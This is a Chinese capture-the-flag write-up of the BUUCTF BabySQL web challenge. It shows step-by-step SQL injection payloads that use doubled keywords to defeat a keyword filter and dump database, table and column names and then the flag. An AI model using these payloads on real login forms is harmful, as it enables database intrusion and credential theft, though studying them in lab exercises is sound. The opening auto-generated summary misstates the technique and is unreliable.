[BUUCTF][WEB][极客大挑战 2019]BabySQL 1

buuctf,web,挑战,babysql · 浏览次数 : 38

小编点评

**靶机过滤机制分析:** **1. URL 界面打开时进行严格的 URL 过滤:** - 靶机识别并阻止任何包含特殊字符、正则表达式或特定字符串的 URL。 **2. SQL 注入风险:** - 当用户输入密码时,其密码会以字符串形式提交给服务器。 - 如果服务器没有进行 proper 编码处理,用户输入的密码可能包含 SQL 注入的恶意代码。 **3. 注入点构造:** - 攻击者可以构造恶意 SQL 语句,以覆盖用户输入的密码。 - 例如,`123' or 1=1 #` 将在注入字符串中出现。 **4. 注入点检测:** - 靶机使用关键字检测功能来识别 SQL 注入的可能的关键字。 - 在此例子中,关键字是 `1=1 #`。 **5. 双写绕过:** - 攻击者利用关键字检测的漏洞,以绕过关键字检测机制。 - 例如,将 `123'` 替换为 `1=1 #`。 **6. 回显信息:** - 攻击者通过分析回显字段,例如 `1' oorrder bbyy x#`,可以确定注入点字段的长度。 - 攻击者可以尝试不同的注入点长度,直到找到一个可以执行 SQL 注入的长度。 **7. 漏洞利用:** - 通过构造恶意 SQL 语句,攻击者可以获取用户数据库的敏感信息。 - 例如,`1' uunionnion sselectelect database(),2,3#,` 将允许攻击者检索所有数据库中存储的用户名、密码和其他敏感信息。

正文

靶机打开url

界面上显示,它做了更严格的过滤。看来后台是加了什么过滤逻辑

老规矩先尝试时候有sql注入的可能,密码框输入
123'
爆出sql错误信息,说明有注入点
构造万能密码注入
123' or 1=1 #
居然爆出sql错误,
...version for the right syntax to use near '1=1 #'' at line 1
仔细看报错信息,发现我们的 or 不见了,推测后端做了关键字检测,将关键字去掉了
这里尝试进行双写绕过,来证明我们的推测
123' oorr 1=1 #

返回

Hello admin!

Your password is 'eed87ca901c286579b6b4a0583bb6861'

那么证明双写可以完成注入,此题的考点也就是双写了

后面的内容就和 LoveSql一样了

1. 排查回显字段
1' oorrder bbyy x#,令x=1逐渐增加进行尝试,当x=4时出现报错, 说明注入点字段长度为3
2. 爆库名
1' uunionnion sselectelect database(),2,3#,依次变换函数database()的位置,确定哪个位置会回显出我们所查询的信息。经尝试,第三个注入点字段会回显查询信息
3. 爆表名
1' uunionnion sselectelect 1,2,group_concat(table_name) ffromrom infoorrmation_schema.tables wwherehere table_schema=database()#
4. 爆列名
1' uunionnion sselectelect 1,2,group_concat(column_name) ffromrom infoorrmation_schema.columns wwherehere table_name='表名'#
表名处替换为b4bsql或geekuser 得到三个相同的字段 'id,username,password'
5. 爆数据
1' uunionnion sselectelect 1,2,group_concat(id,username,passwoorrd) ffromrom b4bsql#
boom 得到flag flag

与[BUUCTF][WEB][极客大挑战 2019]BabySQL 1相似的内容:

[BUUCTF][WEB][极客大挑战 2019]BabySQL 1

靶机打开url 界面上显示,它做了更严格的过滤。看来后台是加了什么过滤逻辑 老规矩先尝试时候有sql注入的可能,密码框输入 123' 爆出sql错误信息,说明有注入点 构造万能密码注入 123' or 1=1 # 居然爆出sql错误, ...version for the right syntax

[BUUCTF][Web][极客大挑战 2019]EasySQL 1

打开靶机对应的url 界面显示需要输入账号和密码 分别在两个输入框尝试加单引号尝试是否有sql注入的可能,比如 123' 发现两个框可以注入,因为报了个错误信息 You have an error in your SQL syntax; check the manual that correspon

[BUUCTF][Web][极客大挑战 2019]Havefun 1

打开靶机的URL,看到一个页面 右键查看源代码,看到有用信息 ...

[BUUCTF][Web][极客大挑战 2019]Secret File 1

打开靶机对应的url 右键查看网页源代码,查看到一个访问路径 /Archive_room.php 构造url访问一下 http://3bfaebad-fdfa-4226-ae0a-551f0228becb.node4.buuoj.cn:81/Archive_room.php 右键再次查看源代码,有一

[BUUCTF][Web][极客大挑战 2019]LoveSQL 1

打开靶机url,页面显示有两个输入框,框中输入123',发现两个框都有sql注入问题 爆出一下错误 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server versi

[BUUCTF][WEB][极客大挑战 2019]Knife 1

这题几乎是送分 题目不断暗示,后台存在一句话木马 拿个蚁剑连上去就完事了 这里用curl 连上去,演示一下,理解一下其中的原理 #注意 phpinfo() 后面的分号不能省 curl -d "Syc=phpinfo();" http://32a31ff6-2815-4485-a74e-e646f67

[BUUCTF][WEB][极客大挑战 2019]Http 1

打开靶机提供的url 右键查看网页源代码 发现一个链接 (Secret.php),访问看看 返回: It doesn't come from 'https://Sycsecret.buuoj.cn' 这是个题眼 通过burpsuite拦截请求,请求头新增修改 Referer: https://Syc

[BUUCTF][WEB][极客大挑战 2019]Upload 1

打开靶机url,看到一个页面可以上传文件 上传一个图片试一下,发现上传的路径是 http://a7661b03-4852-41de-9ea4-d48c47cb50f0.node4.buuoj.cn:81/upload_file.php 试一下获取文件列表路径 http://a7661b03-4852

[BUUCTF][WEB][极客大挑战 2019]PHP 1

打开靶机URL 看到字面提示 因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯不愧是我!!! 说明该网站有备份,说不定放在了Http服务器的某个目录下 那么这里我们可以用dirsearch 扫描一下这个服务器 执行命令 dirsearch -u http://2999dfd5-1d43

[BUUCTF][Web][HCTF 2018]WarmUp 1

这题已经标识为php 代码审计题,那么需要搞到源码才行 打开靶机对应的url,展示的是一张笑脸图片 右键查看网页源代码